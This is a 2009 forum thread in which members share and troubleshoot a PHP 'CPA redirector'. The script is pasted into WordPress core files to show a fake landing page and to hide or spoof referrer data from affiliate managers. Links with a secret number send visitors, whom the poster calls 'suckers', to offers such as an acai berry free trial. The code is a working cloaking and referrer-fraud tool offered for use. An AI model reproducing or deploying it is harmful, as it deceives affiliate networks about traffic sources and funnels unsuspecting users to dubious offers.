1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[GET] BEST redirector (my edit to Brad1001, a god)

Discussion in 'CPA' started by Zach.p, Jul 21, 2009.

  1. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    Everyone has seen what Brad1001 (a god) did by posting CPA-r? Great post really was. When he released stand alone version it was even better though because it wasn't restricted to just WP. That got me thinking what about using standalone in WP so that when Affiliate manager looks back it's not from single post but my homepage with all the posts. What you need is the stand alone which is here
    HTML:
    http://hiderefer.org/?http://www.contentgeneration.org/scparedirector.zip
    Once you have that, go to your Cpanel open it up and look at where you upload files to. Upload the standalone CPA-R to your server. Now go find your index.php. It should look like this untouched. *This is assuming Word Press is installed.

    Code:
    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define('WP_USE_THEMES', true);
    
    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    ?>
    Now what you want to do is copy what is below and paste it over the index code.
    Code:
    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define('WP_USE_THEMES', true);
    
    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    
    //Settings
    
    $magic_number = 1234; // Any number you choose except ZERO!
    
    $cpa_offer_url = 'http://my-i-p.com/';
    
    $red_method = 0; // 0 = JS Form, 1 = JS, 2 = Meta Refresh
    
    $form_method = 0;  // 0 = POST, 1 = GET
    
    
    //Don't edit below this line unless you know what you are doing.
    
    if (isset($_GET['mn']) && $_GET['mn']==$magic_number){        
    
            echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'] . '" method="post" id="form1">
    
    <input type="hidden"  name="mn" value="' . $magic_number . '" /></form>
    
    <script language="JavaScript"> 
        document.getElementById(\'form1\').submit();</script></body></html>';
            return true; 
            exit();
    }
    
    if ($_POST['mn']==$magic_number){        
    
            if($red_method==0) {
    
                if($form_method==0)
                    $formmethod = "POST";
                else
                    $formmethod = "GET";
                
                echo '<html><head></head><body><form action="' . $cpa_offer_url .  '" method="' . $formmethod . '" id="form1"></form>
    <script language="JavaScript"> 
    
        document.getElementById(\'form1\').submit(); 
    
    </script></body></html>';
            }
    
                else if($red_method == 1)
    
        echo     '<HEAD>
    <SCRIPT language="JavaScript">
    <!--
    window.location="' . $cpa_offer_url . '";
    //-->
    </SCRIPT>
    </HEAD>';
    
            else echo '<meta http-equiv="refresh" content=0;url=' . $cpa_offer_url  . '>';
    
                
    
        exit();
    } 
    
    ?>
    
    
    <html>
      <head>
        <title>Your Fake Landing Page</title>
      </head>
      <body>
        <br><br><br><br>
         <center><h1>Your Fake Landing Page</h1></center>
     
      </body>
    </html> 
    NOTE AT THE BOTTOM IT SAYS <title>Your Fake Landing Page and <h1> Your Fake Landing Page. Change those to your Blog name/adress.

    ALSO THIS:

    //Settings

    $magic_number = 1234; // Any number you choose except ZERO!

    $cpa_offer_url = 'http://my-i-p.com/';

    $red_method = 0; // 0 = JS Form, 1 = JS, 2 = Meta Refresh

    $form_method = 0; // 0 = POST, 1 = GET
    I recommend using 1=JS so swap out the = 0; // with = 1; //
    Change cpa offer to whatever you want your sucker to land on.
    When you give someone a link though it has to have magic number (which can be any number without zeroes).

    EXAMPLE:

    http://celebgossip.byethost31.com will bring them to real blog homepage.

    With magic number: http://celebgossip.byethost31.com?mn=40949 (one of my offer pages.)

    MUST HAVE ?mn=(magic number) to redirect to CPA offer.

    Well don't thank me, go find brads post and thank him!

    Also this is his blog, where he explains magic number and CPA url if I wasn't clear enough for you.
    HTML:
    http://www.contentgeneration.org/cpa...alone-version/
    ALSO keep in mind you can only run one CPA offer through this. That is one downside, but it is wayyyyy more natural looking then a post redirect like the old one.

    Hit thanks if you really want.. haha.
     
    • Thanks Thanks x 31
    Last edited: Jul 21, 2009
  2. allrecycle

    allrecycle Regular Member

    Joined:
    Jun 30, 2009
    Messages:
    251
    Likes Received:
    67
    is there anyway to make it that they wont see the real site first????
     
  3. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    Don't use a re-direct? Lol.
     
  4. spydj

    spydj Registered Member

    Joined:
    Apr 25, 2009
    Messages:
    54
    Likes Received:
    9


    i am wondering too: is there a way they dont see the blog or maybe that it loads faster? i have the problem that when i try to go to my cpa offer through the mn number, my blog is visible for like 5 secs and its reloading.... I think this is going to bring my conv. down a lot...

    is there any way to speed up this redirect proccess? regards
     
  5. spatel6549

    spatel6549 Newbie

    Joined:
    Jun 4, 2009
    Messages:
    45
    Likes Received:
    3
    Home Page:
    Thanks man! :)
     
  6. spatel6549

    spatel6549 Newbie

    Joined:
    Jun 4, 2009
    Messages:
    45
    Likes Received:
    3
    Home Page:
    quick question...so you are saying to do this from cpanel and not the theme editor in WP? There is an index.php in there but there is a lot more code in there.
     
  7. CosmicDebri

    CosmicDebri Junior Member

    Joined:
    May 24, 2009
    Messages:
    156
    Likes Received:
    57
    Occupation:
    Internet Marketer
    Location:
    In front of the computing screen
    I like Brads 'spoofing' method much better. It gives the AM something to look at, instead of calling you and asking why all the blank referrers......

    Godcpa uses Brads method as well, dunno if that's a good thumbs up, or not.... hehe
     
  8. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142

    This doesn't blank, this fakes mate.. look at the title.


    Go to the Cpanel. Don't think it will do anything in the theme's area.
     
  9. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    At this time I don't know of one.. but when I load it you only see the page for 1sec maybe 2. 5 seems preety extensive, but don't know how to fix that sorry.
     
  10. Grandslam

    Grandslam Senior Member

    Joined:
    Apr 23, 2009
    Messages:
    966
    Likes Received:
    313
    Anyone have trouble using this with NB?

    I tried using it on a NB zip/email submit and when i go through with my magic number, it redirects fine, but it redirects to a page that says the following:

    "We're sorry, but there was an error processing your request.
    Error Description

    • The parameter "c" must be numeric"
    Did I not edit something correctly? I would REALLY appreciate any help on this.
     
  11. Mjordan

    Mjordan Power Member

    Joined:
    Jun 30, 2009
    Messages:
    519
    Likes Received:
    96
    Well dang this would be great if it wouldn't stay on the "real" site for like 5 seconds.

    Does this work with Maxbounty? Because Brad's CPA-R won't work with a maxbounty campaign.
     
  12. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    Some networks got by Brad's re-direct and wont allow it. Try using post/get/for get w/e. Try different combo's see if it works, if not then sorry bud.
     
  13. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    I tested with MB and it works for me. Acai Berry Free trial international, to be specific. Look below
     
    Last edited: Aug 10, 2009
  14. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    SOLVED PROBLEM!!! READ THIS POST NOW!

    Okay, RESTORE index.php TO IT'S ORIGIONAL FORM: LOOK LIKE THIS
    Code:
    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define('WP_USE_THEMES', true);
    
    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    
    ?>
    NOW ENTER THE FOLLOWING IN THE wp-blog-header.php


    Code:
    <?php
    /**
     * Loads the WordPress environment and template.
     *
     * @package WordPress
     */
    
    if ( !isset($wp_did_header) ) {
    
        $wp_did_header = true;
    
        require_once( dirname(__FILE__) . '/wp-load.php' );
    
        wp();
    
        require_once( ABSPATH . WPINC . '/template-loader.php' );
    
    }
    
    //Settings
    
    $magic_number = MAGIC NUMBER; // Any number you choose except ZERO!
    
    $cpa_offer_url = 'Affiliate LINK';
    
    $red_method = 1; // 0 = JS Form, 1 = JS, 2 = Meta Refresh
    
    $form_method = 0;  // 0 = POST, 1 = GET
    
    
    //Don't edit below this line unless you know what you are doing.
    
    if (isset($_GET['mn']) && $_GET['mn']==$magic_number){        
    
            echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER
    
    ['PHP_SELF'] . '" method="post" id="form1">
    
    <input type="hidden"  name="mn" value="' . $magic_number . '" /></form>
    
    <script language="JavaScript"> 
        document.getElementById(\'form1\').submit();</script></body></html>';
            return true; 
            exit();
    }
    
    if ($_POST['mn']==$magic_number){        
    
            if($red_method==0) {
    
                if($form_method==0)
                    $formmethod = "POST";
                else
                    $formmethod = "GET";
                
                echo '<html><head></head><body><form action="' . $cpa_offer_url .  '" method="' . 
    
    $formmethod . '" id="form1"></form>
    <script language="JavaScript"> 
    
        document.getElementById(\'form1\').submit(); 
    
    </script></body></html>';
            }
    
                else if($red_method == 1)
    
        echo     '<HEAD>
    <SCRIPT language="JavaScript">
    <!--
    window.location="' . $cpa_offer_url . '";
    //-->
    </SCRIPT>
    </HEAD>';
    
            else echo '<meta http-equiv="refresh" content=0;url=' . $cpa_offer_url  . '>';
    
                
    
        exit();
    } 
    
    ?>
    
    
    <html>
      <head>
        <title>WEB PAGE ADDRESS</title>
      </head>
      <body>
        <br><br><br><br>
         <center><h1>WEB PAGE ADDRESS</h1></center>
     
      </body>
    </html>
    THIS METHOD WILL NOT SHOW YOUR BLOG, LOADS 10X FASTER. Remember to change aff link + Magic number. [same spot in code] AND near bottom change "WEB PAGE ADDRESS" to whatever your site name is.


    Enjoy, all!
     
    • Thanks Thanks x 16
  15. Mjordan

    Mjordan Power Member

    Joined:
    Jun 30, 2009
    Messages:
    519
    Likes Received:
    96
    Woohoo!!!! Thanks so much man I gave you some rep and thanks. I'll try it out in a day or so and let you know how it goes.
     
  16. cas77

    cas77 Junior Member

    Joined:
    Mar 17, 2009
    Messages:
    109
    Likes Received:
    26
    I'm not a php programmer by any means...but would it be possible to mod the script to use multiple magic_number for different aff links on the same page? Is this feasable?
     
  17. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    Haha, yeah well neither am I. I'm assuming it would require an overhaul of the entire script because the job would be 10x bigger, at the moment I haven't heard of anyone throwing that edit in.
     
  18. hsh8255

    hsh8255 Registered Member

    Joined:
    Jul 10, 2009
    Messages:
    98
    Likes Received:
    8
    Occupation:
    homeless
    Location:
    earth
    How can i use it for wordpress blog... and is it working safe with cakeslice?(well idk how yet but i need to study about it)
     
  19. hsh8255

    hsh8255 Registered Member

    Joined:
    Jul 10, 2009
    Messages:
    98
    Likes Received:
    8
    Occupation:
    homeless
    Location:
    earth
    Code:
    <?php require('./wp-blog-header.php');?>



    On my Blog... there is no wp-blog-header.php and it is standard wordpress default theme. And i usually use Premium theme. Can i just make a cpa-referral.php and add on index.php on my blog?

    Code:
    This will be cpa-referral.php
    
    <?php
    /**
     * Loads the WordPress environment and template.
     *
     * @package WordPress
     */
    
    if ( !isset($wp_did_header) ) {
    
        $wp_did_header = true;
    
        require_once( dirname(__FILE__) . '/wp-load.php' );
    
        wp();
    
        require_once( ABSPATH . WPINC . '/template-loader.php' );
    
    }
    
    //Settings
    
    $magic_number = MAGIC NUMBER; // Any number you choose except ZERO!
    
    $cpa_offer_url = 'Affiliate LINK';
    
    $red_method = 1; // 0 = JS Form, 1 = JS, 2 = Meta Refresh
    
    $form_method = 0;  // 0 = POST, 1 = GET
    
    
    //Don't edit below this line unless you know what you are doing.
    
    if (isset($_GET['mn']) && $_GET['mn']==$magic_number){        
    
            echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER
    
    ['PHP_SELF'] . '" method="post" id="form1">
    
    <input type="hidden"  name="mn" value="' . $magic_number . '" /></form>
    
    <script language="JavaScript"> 
        document.getElementById(\'form1\').submit();</script></body></html>';
            return true; 
            exit();
    }
    
    if ($_POST['mn']==$magic_number){        
    
            if($red_method==0) {
    
                if($form_method==0)
                    $formmethod = "POST";
                else
                    $formmethod = "GET";
                
                echo '<html><head></head><body><form action="' . $cpa_offer_url .  '" method="' . 
    
    $formmethod . '" id="form1"></form>
    <script language="JavaScript"> 
    
        document.getElementById(\'form1\').submit(); 
    
    </script></body></html>';
            }
    
                else if($red_method == 1)
    
        echo     '<HEAD>
    <SCRIPT language="JavaScript">
    <!--
    window.location="' . $cpa_offer_url . '";
    //-->
    </SCRIPT>
    </HEAD>';
    
            else echo '<meta http-equiv="refresh" content=0;url=' . $cpa_offer_url  . '>';
    
                
    
        exit();
    } 
    
    ?> 


    Do you think is this working?

    I tried 1.2 version of CPA-r WP plugin and it didn't work.;;;;

    Please help me.
     
  20. Zach.p

    Zach.p BANNED BANNED

    Joined:
    May 9, 2009
    Messages:
    167
    Likes Received:
    142
    Okay don't do that, you will fuck up your WP. You already have a header.php in there somewhere. It is an absolutely necessary component of running WP so you need it. Also are you running the latest version of WP??